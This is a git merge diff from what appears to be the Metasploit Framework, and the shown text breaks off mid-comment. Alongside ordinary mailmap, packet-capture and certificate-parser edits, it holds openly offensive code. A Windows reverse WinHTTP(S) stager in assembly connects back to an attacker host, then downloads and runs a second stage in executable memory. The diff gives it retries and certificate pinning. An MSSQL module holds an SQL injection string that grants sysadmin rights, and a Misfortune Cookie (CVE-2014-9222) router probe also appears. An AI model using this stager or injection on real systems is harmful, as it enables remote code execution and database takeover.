Merging master
This commit is contained in:
commit
c607cf7b11
13
.mailmap
13
.mailmap
|
@ -13,11 +13,6 @@ jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
|||
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
|
||||
joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com>
|
||||
joev-r7 <joev-r7@github> Joe Vennix <joev@metasploit.com>
|
||||
joev-r7 <joev-r7@github> joev <joev@metasploit.com>
|
||||
joev-r7 <joev-r7@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
joev-r7 <joev-r7@github> jvennix-r7 <joev@metasploit.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
|
@ -80,9 +75,15 @@ jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
|
|||
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
|
||||
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
|
||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
joevennix <joevennix@github> joe <joev@metasploit.com>
|
||||
joevennix <joevennix@github> Joe Vennix <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joev@metasploit.com>
|
||||
joevennix <joevennix@github> joev <joev@metasploit.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <joev@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
|
||||
kris <kris@???> kris <>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
|
|
|
@ -42,7 +42,7 @@ module Msf
|
|||
[
|
||||
true,
|
||||
'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC',
|
||||
'www.metasploit.com']),
|
||||
'8.8.8.8']),
|
||||
OptPort.new('GATEWAY_PROBE_PORT',
|
||||
[
|
||||
false,
|
||||
|
@ -143,7 +143,6 @@ module Msf
|
|||
return unless self.capture
|
||||
self.capture = nil
|
||||
self.arp_capture = nil
|
||||
GC.start()
|
||||
end
|
||||
|
||||
def capture_extract_ies(raw)
|
||||
|
@ -163,26 +162,15 @@ module Msf
|
|||
end
|
||||
|
||||
#
|
||||
# This monstrosity works around a series of bugs in the interrupt
|
||||
# signal handling of Ruby 1.9
|
||||
# Loop through each packet
|
||||
#
|
||||
def each_packet
|
||||
return unless capture
|
||||
begin
|
||||
@capture_count = 0
|
||||
reader = framework.threads.spawn("PcapReceiver", false) do
|
||||
@capture_count ||= 0
|
||||
capture.each do |pkt|
|
||||
yield(pkt)
|
||||
@capture_count += 1
|
||||
end
|
||||
end
|
||||
reader.join
|
||||
rescue ::Exception
|
||||
raise $!
|
||||
ensure
|
||||
reader.kill if reader.alive?
|
||||
end
|
||||
|
||||
@capture_count
|
||||
end
|
||||
|
||||
|
@ -242,10 +230,9 @@ module Msf
|
|||
pcap.inject(pkt)
|
||||
Rex.sleep((delay * 1.0)/1000)
|
||||
end
|
||||
GC.start
|
||||
end
|
||||
|
||||
# Capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
|
||||
# capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires
|
||||
# a payload and a destination address. To send to the broadcast address, set bcast
|
||||
# to true (this will guarantee that packets will be sent even if ARP doesn't work
|
||||
# out).
|
||||
|
@ -262,24 +249,20 @@ module Msf
|
|||
|
||||
# The return value either be a PacketFu::Packet object, or nil
|
||||
def inject_reply(proto=:udp, pcap=self.capture)
|
||||
reply = nil
|
||||
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||
if not pcap
|
||||
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)"
|
||||
else
|
||||
# Defaults to ~2 seconds
|
||||
to = (datastore['TIMEOUT'] * 4) / 1000.0
|
||||
raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap
|
||||
begin
|
||||
::Timeout.timeout(to) do
|
||||
pcap.each do |r|
|
||||
packet = PacketFu::Packet.parse(r)
|
||||
next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto
|
||||
reply = packet
|
||||
break
|
||||
return packet
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
end
|
||||
end
|
||||
return reply
|
||||
nil
|
||||
end
|
||||
|
||||
# This ascertains the correct Ethernet addresses one should use to
|
||||
|
@ -328,20 +311,19 @@ module Msf
|
|||
end
|
||||
|
||||
begin
|
||||
to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0
|
||||
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
|
||||
::Timeout.timeout(to) do
|
||||
while (my_packet = inject_reply(:udp, self.arp_capture))
|
||||
if my_packet.payload == secret
|
||||
loop do
|
||||
my_packet = inject_reply(:udp, self.arp_capture)
|
||||
next unless my_packet
|
||||
next unless my_packet.payload == secret
|
||||
dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr
|
||||
src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr
|
||||
return [dst_mac, src_mac]
|
||||
else
|
||||
next
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
# Well, that didn't work (this common on networks where there's no gatway, like
|
||||
# Well, that didn't work (this is common on networks where there's no gateway, like
|
||||
# VMWare network interfaces. We'll need to use a fake source hardware address.
|
||||
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
|
||||
end
|
||||
|
@ -354,27 +336,32 @@ module Msf
|
|||
return self.arp_cache[:gateway] unless should_arp? target_ip
|
||||
source_ip = Rex::Socket.source_address(target_ip)
|
||||
raise RuntimeError, "Could not access the capture process." unless self.arp_capture
|
||||
|
||||
p = arp_packet(target_ip, source_ip)
|
||||
|
||||
# Try up to 3 times to get an ARP response
|
||||
1.upto(3) do
|
||||
inject_eth(:eth_type => 0x0806,
|
||||
:payload => p,
|
||||
:pcap => self.arp_capture,
|
||||
:eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)]
|
||||
)
|
||||
begin
|
||||
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||
to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0
|
||||
::Timeout.timeout(to) do
|
||||
while (my_packet = inject_reply(:arp, self.arp_capture))
|
||||
if my_packet.arp_saddr_ip == target_ip
|
||||
loop do
|
||||
my_packet = inject_reply(:arp, self.arp_capture)
|
||||
next unless my_packet
|
||||
next unless my_packet.arp_saddr_ip == target_ip
|
||||
self.arp_cache[target_ip] = my_packet.eth_saddr
|
||||
return self.arp_cache[target_ip]
|
||||
else
|
||||
next
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
# Creates a full ARP packet, mainly for use with inject_eth()
|
||||
def arp_packet(target_ip=nil, source_ip=nil)
|
||||
|
|
|
@ -76,7 +76,6 @@ module Exploit::Remote::Ipv6
|
|||
|
||||
return if not @ipv6_icmp6_capture
|
||||
@ipv6_icmp6_capture = nil
|
||||
GC.start()
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -36,7 +36,8 @@ module Payload::Windows::ReverseWinHttp
|
|||
ssl: false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri)
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
conf = {
|
||||
|
@ -44,7 +45,8 @@ module Payload::Windows::ReverseWinHttp
|
|||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC']
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
generate_reverse_winhttp(conf)
|
||||
|
@ -98,24 +100,33 @@ module Payload::Windows::ReverseWinHttp
|
|||
join(",")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Dynamic payload generation
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Bool] :ssl Whether or not to enable SSL
|
||||
# @option opts [String] :url The URI to request during staging
|
||||
# @option opts [String] :host The host to connect to
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
|
||||
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
|
||||
#
|
||||
def asm_reverse_winhttp(opts={})
|
||||
|
||||
|
||||
#
|
||||
# options should contain:
|
||||
# ssl: (true|false)
|
||||
# url: "/url_to_request"
|
||||
# host: [hostname]
|
||||
# port: [port]
|
||||
# exitfunk: [process|thread|seh|sleep]
|
||||
#
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
verify_ssl = nil
|
||||
encoded_cert_hash = nil
|
||||
encoded_url = asm_generate_wchar_array(opts[:url])
|
||||
encoded_host = asm_generate_wchar_array(opts[:host])
|
||||
|
||||
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
|
||||
verify_ssl = true
|
||||
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
|
||||
end
|
||||
|
||||
|
||||
http_open_flags = 0
|
||||
|
||||
if opts[:ssl]
|
||||
|
@ -137,46 +148,52 @@ module Payload::Windows::ReverseWinHttp
|
|||
push esp ; Push a pointer to the "winhttp" string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "winhttp" )
|
||||
^
|
||||
|
||||
if verify_ssl
|
||||
asm << %Q^
|
||||
load_crypt32:
|
||||
push 0x00323374 ; Push the string 'crypt32',0
|
||||
push 0x70797263 ; ...
|
||||
push esp ; Push a pointer to the "crypt32" string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wincrypt" )
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
|
||||
set_retry:
|
||||
push.i8 6 ; retry 6 times
|
||||
pop edi
|
||||
xor ebx, ebx
|
||||
mov ecx, edi
|
||||
|
||||
push_zeros:
|
||||
push ebx ; NULL values for the WinHttpOpen API parameters
|
||||
loop push_zeros
|
||||
|
||||
WinHttpOpen:
|
||||
; Flags [5]
|
||||
; ProxyBypass (NULL) [4]
|
||||
; ProxyName (NULL) [3]
|
||||
; AccessType (DEFAULT_PROXY= 0) [2]
|
||||
; UserAgent (NULL) [1]
|
||||
push ebx ; Flags
|
||||
push ebx ; ProxyBypass (NULL)
|
||||
push ebx ; ProxyName (NULL)
|
||||
push ebx ; AccessType (DEFAULT_PROXY= 0)
|
||||
push ebx ; UserAgent (NULL) [1]
|
||||
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
|
||||
call ebp
|
||||
|
||||
WinHttpConnect:
|
||||
push ebx ; Reserved (NULL) [4]
|
||||
push ebx ; Reserved (NULL)
|
||||
push #{opts[:port]} ; Port [3]
|
||||
call got_server_uri ; Double call to get pointer for both server_uri and
|
||||
server_uri: ; server_host; server_uri is saved in EDI for later
|
||||
server_uri: ; server_host; server_uri is saved in edi for later
|
||||
db #{encoded_url}
|
||||
got_server_host:
|
||||
push eax ; Session handle returned by WinHttpOpen [1]
|
||||
push eax ; Session handle returned by WinHttpOpen
|
||||
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
|
||||
call ebp
|
||||
|
||||
WinHttpOpenRequest:
|
||||
|
||||
push.i32 #{"0x%.8x" % http_open_flags}
|
||||
push ebx ; AcceptTypes (NULL) [6]
|
||||
push ebx ; Referrer (NULL) [5]
|
||||
push ebx ; Version (NULL) [4]
|
||||
push edi ; ObjectName (URI) [3]
|
||||
push ebx ; Verb (GET method) (NULL) [2]
|
||||
push eax ; Connect handler returned by WinHttpConnect [1]
|
||||
push #{"0x%.8x" % http_open_flags}
|
||||
push ebx ; AcceptTypes (NULL)
|
||||
push ebx ; Referrer (NULL)
|
||||
push ebx ; Version (NULL)
|
||||
push edi ; ObjectName (URI)
|
||||
push ebx ; Verb (GET method) (NULL)
|
||||
push eax ; Connect handle returned by WinHttpConnect
|
||||
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
|
||||
call ebp
|
||||
xchg esi, eax ; save HttpRequest handler in esi
|
||||
|
@ -192,9 +209,9 @@ module Payload::Windows::ReverseWinHttp
|
|||
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
mov eax, esp
|
||||
push.i8 4 ; sizeof(buffer)
|
||||
push 4 ; sizeof(buffer)
|
||||
push eax ; &buffer
|
||||
push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
|
||||
push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
|
||||
push esi ; hHttpRequest
|
||||
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
|
||||
call ebp
|
||||
|
@ -202,6 +219,11 @@ module Payload::Windows::ReverseWinHttp
|
|||
end
|
||||
|
||||
asm << %Q^
|
||||
; Store our retry counter in the edi register
|
||||
set_retry:
|
||||
push #{retry_count}
|
||||
pop edi
|
||||
|
||||
send_request:
|
||||
|
||||
WinHttpSendRequest:
|
||||
|
@ -215,7 +237,7 @@ module Payload::Windows::ReverseWinHttp
|
|||
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz receive_response ; if TRUE call WinHttpReceiveResponse API
|
||||
jnz check_response ; if TRUE call WinHttpReceiveResponse API
|
||||
|
||||
try_it_again:
|
||||
dec edi
|
||||
|
@ -237,12 +259,79 @@ module Payload::Windows::ReverseWinHttp
|
|||
^
|
||||
end
|
||||
|
||||
# Jump target if the request was sent successfully
|
||||
asm << %Q^
|
||||
check_response:
|
||||
^
|
||||
|
||||
# Verify the SSL certificate hash
|
||||
if verify_ssl
|
||||
|
||||
asm << %Q^
|
||||
ssl_cert_get_context:
|
||||
push 4
|
||||
mov ecx, esp ; Allocate &bufferLength
|
||||
push 0
|
||||
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
|
||||
|
||||
push ecx ; &bufferLength
|
||||
push ebx ; &buffer
|
||||
push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
|
||||
push esi ; hHttpRequest
|
||||
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
|
||||
call ebp
|
||||
test eax, eax ;
|
||||
jz failure ; Bail out if we couldn't get the certificate context
|
||||
|
||||
; ebx
|
||||
ssl_cert_allocate_hash_space:
|
||||
push 20 ;
|
||||
mov ecx, esp ; Store a reference to the address of 20
|
||||
sub esp,[ecx] ; Allocate 20 bytes for the hash output
|
||||
mov edi, esp ; edi will point to our buffer
|
||||
|
||||
ssl_cert_get_server_hash:
|
||||
push ecx ; &bufferLength
|
||||
push edi ; &buffer (20-byte SHA1 hash)
|
||||
push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
|
||||
push [ebx] ; *pCert
|
||||
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
|
||||
call ebp
|
||||
test eax, eax ;
|
||||
jz failure ; Bail out if we couldn't get the certificate context
|
||||
|
||||
ssl_cert_start_verify:
|
||||
call ssl_cert_compare_hashes
|
||||
db #{encoded_cert_hash}
|
||||
|
||||
ssl_cert_compare_hashes:
|
||||
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
|
||||
; edi points to the server-provided certificate hash
|
||||
|
||||
push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
|
||||
pop ecx ;
|
||||
mov edx, ecx ; Keep a reference to 4 in edx
|
||||
|
||||
ssl_cert_verify_compare_loop:
|
||||
mov eax, [ebx] ; Grab the next DWORD of the hash
|
||||
cmp eax, [edi] ; Compare with the server hash
|
||||
jnz failure ; Bail out if the DWORD doesn't match
|
||||
add ebx, edx ; Increment internal hash pointer by 4
|
||||
add edi, edx ; Increment server hash pointer by 4
|
||||
loop ssl_cert_verify_compare_loop
|
||||
|
||||
; Our certificate hash was valid, hurray!
|
||||
ssl_cert_verify_cleanup:
|
||||
xor ebx, ebx ; Reset ebx back to zero
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
receive_response:
|
||||
; The API WinHttpReceiveResponse needs to be called
|
||||
; first to get a valid handler for WinHttpReadData
|
||||
push ebx ; Reserved (NULL) [2]
|
||||
push esi ; Request handler returned by WinHttpSendRequest [1]
|
||||
; first to get a valid handle for WinHttpReadData
|
||||
push ebx ; Reserved (NULL)
|
||||
push esi ; Request handler returned by WinHttpSendRequest
|
||||
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
|
@ -251,7 +340,7 @@ module Payload::Windows::ReverseWinHttp
|
|||
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
|
@ -299,6 +388,8 @@ module Payload::Windows::ReverseWinHttp
|
|||
asm
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -2,6 +2,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/reverse_winhttp'
|
||||
require 'rex/parser/x509_certificate'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -17,6 +18,17 @@ module Payload::Windows::ReverseWinHttps
|
|||
|
||||
include Msf::Payload::Windows::ReverseWinHttp
|
||||
|
||||
#
|
||||
# Register reverse_winhttps specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
|
@ -37,13 +49,38 @@ module Payload::Windows::ReverseWinHttps
|
|||
#
|
||||
def generate
|
||||
|
||||
verify_cert = false
|
||||
verify_cert_hash = nil
|
||||
|
||||
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
|
||||
unless datastore['HandlerSSLCert']
|
||||
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
|
||||
else
|
||||
verify_cert = true
|
||||
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
|
||||
unless hcert and hcert[0] and hcert[1]
|
||||
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
|
||||
end
|
||||
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
|
||||
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
|
||||
end
|
||||
end
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
|
||||
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
|
||||
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
|
||||
end
|
||||
|
||||
return generate_reverse_winhttps(
|
||||
ssl: true,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri)
|
||||
url: generate_small_uri,
|
||||
verify_cert: verify_cert,
|
||||
verify_cert_hash: verify_cert_hash,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
conf = {
|
||||
|
@ -51,12 +88,32 @@ module Payload::Windows::ReverseWinHttps
|
|||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC']
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
verify_cert: verify_cert,
|
||||
verify_cert_hash: verify_cert_hash,
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
generate_reverse_winhttps(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
space = super
|
||||
|
||||
# SSL support adds 20 bytes
|
||||
space += 20
|
||||
|
||||
# SSL verification adds 120 bytes
|
||||
if datastore['StagerVerifySSLCert']
|
||||
space += 120
|
||||
end
|
||||
|
||||
space
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,62 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'openssl'
|
||||
|
||||
module Rex
|
||||
module Parser
|
||||
|
||||
###
|
||||
#
|
||||
# This class parses the contents of a PEM-encoded X509 certificate file containing
|
||||
# a private key, a public key, and any appended glue certificates.
|
||||
#
|
||||
###
|
||||
class X509Certificate
|
||||
|
||||
#
|
||||
# Parse a certificate in unified PEM format that contains a private key and
|
||||
# one or more certificates. The first certificate is the primary, while any
|
||||
# additional certificates are treated as intermediary certificates. This emulates
|
||||
# the behavior of web servers like nginx.
|
||||
#
|
||||
# @param [String] ssl_cert
|
||||
# @return [String, String, Array]
|
||||
def self.parse_pem(ssl_cert)
|
||||
cert = nil
|
||||
key = nil
|
||||
chain = nil
|
||||
|
||||
certs = []
|
||||
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
|
||||
if pem =~ /PRIVATE KEY/
|
||||
key = OpenSSL::PKey::RSA.new(pem)
|
||||
elsif pem =~ /CERTIFICATE/
|
||||
certs << OpenSSL::X509::Certificate.new(pem)
|
||||
end
|
||||
end
|
||||
|
||||
cert = certs.shift
|
||||
if certs.length > 0
|
||||
chain = certs
|
||||
end
|
||||
|
||||
[key, cert, chain]
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a certificate in unified PEM format from a file
|
||||
#
|
||||
# @param [String] ssl_cert_file
|
||||
# @return [String, String, Array]
|
||||
def self.parse_pem_file(ssl_cert_file)
|
||||
data = ''
|
||||
::File.open(ssl_cert_file, 'rb') do |fd|
|
||||
data << fd.read(fd.stat.size)
|
||||
end
|
||||
parse_pem(data)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -2,6 +2,7 @@
|
|||
require 'rex/socket'
|
||||
require 'rex/socket/tcp_server'
|
||||
require 'rex/io/stream_server'
|
||||
require 'rex/parser/x509_certificate'
|
||||
|
||||
###
|
||||
#
|
||||
|
@ -108,25 +109,7 @@ module Rex::Socket::SslTcpServer
|
|||
# @param [String] ssl_cert
|
||||
# @return [String, String, Array]
|
||||
def self.ssl_parse_pem(ssl_cert)
|
||||
cert = nil
|
||||
key = nil
|
||||
chain = nil
|
||||
|
||||
certs = []
|
||||
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
|
||||
if pem =~ /PRIVATE KEY/
|
||||
key = OpenSSL::PKey::RSA.new(pem)
|
||||
elsif pem =~ /CERTIFICATE/
|
||||
certs << OpenSSL::X509::Certificate.new(pem)
|
||||
end
|
||||
end
|
||||
|
||||
cert = certs.shift
|
||||
if certs.length > 0
|
||||
chain = certs
|
||||
end
|
||||
|
||||
[key, cert, chain]
|
||||
Rex::Parser::X509Certificate.parse_pem(ssl_cert)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -190,10 +190,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
# Attempt to escalate privileges
|
||||
def escalate_privs(imp_user,db_user)
|
||||
def escalate_privs(db_user)
|
||||
|
||||
# Setup Query - Impersonate the first sysadmin user on the list
|
||||
evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember 'MyUser1','sysadmin';Revert;--"
|
||||
evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '#{db_user}','sysadmin';Revert;--"
|
||||
|
||||
# Execute Query
|
||||
mssql_query(evil_sql)
|
||||
|
|
|
@ -27,38 +27,165 @@ class Metasploit4 < Msf::Auxiliary
|
|||
],
|
||||
'References' => [
|
||||
['CVE', '2014-9222'],
|
||||
['URL', 'http://mis.fortunecook.ie']
|
||||
['URL', 'http://mis.fortunecook.ie'],
|
||||
['URL', 'http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices
|
||||
['URL', 'http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC
|
||||
],
|
||||
'DisclosureDate' => 'Dec 17 2014',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path to fingerprint RomPager from', '/Allegro'])
|
||||
], self.class)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'URI to test', '/'])
|
||||
], Exploit::Remote::HttpClient
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('CANARY_URI', [false, 'Try overwriting the requested URI with this canary value (empty for random)']),
|
||||
OptString.new('STATUS_CODES_REGEX', [true, 'Ensure that canary pages and probe responses have status codes that match this regex', '^40[134]$'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def check_host(ip)
|
||||
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s), 'method' => 'GET')
|
||||
fp = http_fingerprint(response: res)
|
||||
if /RomPager\/(?<version>[\d\.]+)$/ =~ fp
|
||||
if Gem::Version.new(version) < Gem::Version.new('4.34')
|
||||
report_vuln(
|
||||
host: ip,
|
||||
port: rport,
|
||||
name: name,
|
||||
refs: references
|
||||
)
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
def check_host(_ip)
|
||||
begin
|
||||
test_misfortune
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_good("#{peer} appears to be vulnerable") if check_host(ip) == Exploit::CheckCode::Appears
|
||||
status = check_host(ip)
|
||||
case status
|
||||
when Exploit::CheckCode::Appears
|
||||
when Exploit::CheckCode::Detected
|
||||
when Exploit::CheckCode::Vulnerable
|
||||
print_good("#{peer} #{status.last}")
|
||||
else
|
||||
vprint_status("#{peer} #{status.last}")
|
||||
end
|
||||
end
|
||||
|
||||
def setup
|
||||
@status_codes_regex = Regexp.new(datastore['STATUS_CODES_REGEX'])
|
||||
end
|
||||
|
||||
# Fingerprints the provided HTTP response and returns
|
||||
# Exploit::CheckCode::Appears if it is a vulnerable version of RomPager,
|
||||
# otherwise returns the provided fall-back status.
|
||||
def check_response_fingerprint(res, fallback_status)
|
||||
fp = http_fingerprint(response: res)
|
||||
if /RomPager\/(?<version>[\d\.]+)/ =~ fp
|
||||
vprint_status("#{peer} is RomPager #{version}")
|
||||
if Gem::Version.new(version) < Gem::Version.new('4.34')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
fallback_status
|
||||
end
|
||||
|
||||
def find_canary
|
||||
vprint_status("#{peer} locating suitable canary URI")
|
||||
canaries = []
|
||||
if datastore['CANARY_URI']
|
||||
canaries << datastore['CANARY_URI']
|
||||
else
|
||||
# several random URIs in the hopes that one, generally the first, will be usable
|
||||
0.upto(4) { canaries << '/' + Rex::Text.rand_text_alpha(16) }
|
||||
end
|
||||
|
||||
canaries.each do |canary|
|
||||
res = send_request_raw(
|
||||
'uri' => normalize_uri(canary),
|
||||
'method' => 'GET',
|
||||
'headers' => headers
|
||||
)
|
||||
# in most cases, the canary URI will not exist and will return a 404, but
|
||||
# if everything under TARGETURI is protected by auth, a 401 may be OK too.
|
||||
# but, regardless, respect the configuration set for this module
|
||||
return [canary, res.code] if res && res.code.to_s =~ @status_codes_regex
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def headers
|
||||
{
|
||||
'Referer' => full_uri
|
||||
}
|
||||
end
|
||||
|
||||
# To test for this vulnerability, we must first find a URI known to return
|
||||
# a 404 (not found) which we will use as a canary. This URI (for example,
|
||||
